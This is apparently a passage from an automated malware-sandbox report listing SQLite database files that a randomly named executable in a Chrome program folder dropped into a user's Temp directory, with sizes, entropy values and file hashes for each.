SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gPgDkxrXzS

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gYvZxX8tbE

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hEdWCTY1Ou

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hJ6PPVMryU

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hRWruAA5Om

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hb44gkqzlh

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iHYraDCjWv

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iRDoR7DUS3

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ii7JJPTz7Z

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ipaCKjmrPH

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\irwp7B2Gsm

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j34iR7bTnF

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\j4tA5xOanK

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jPsioXoGQh

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\k7QgpltPQn

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kRGMOAxWin

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kWqe882ER1

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kmGccFcmte

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kpzoZVeigJ

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lFOi3Iq6CD

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lgIFI3PjN7

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\m5CQtFa1lB

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mP1dNz4Ymo

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mSvzhAlu0h

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mYRGwpaihK

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\marwh0fSYn

Download File

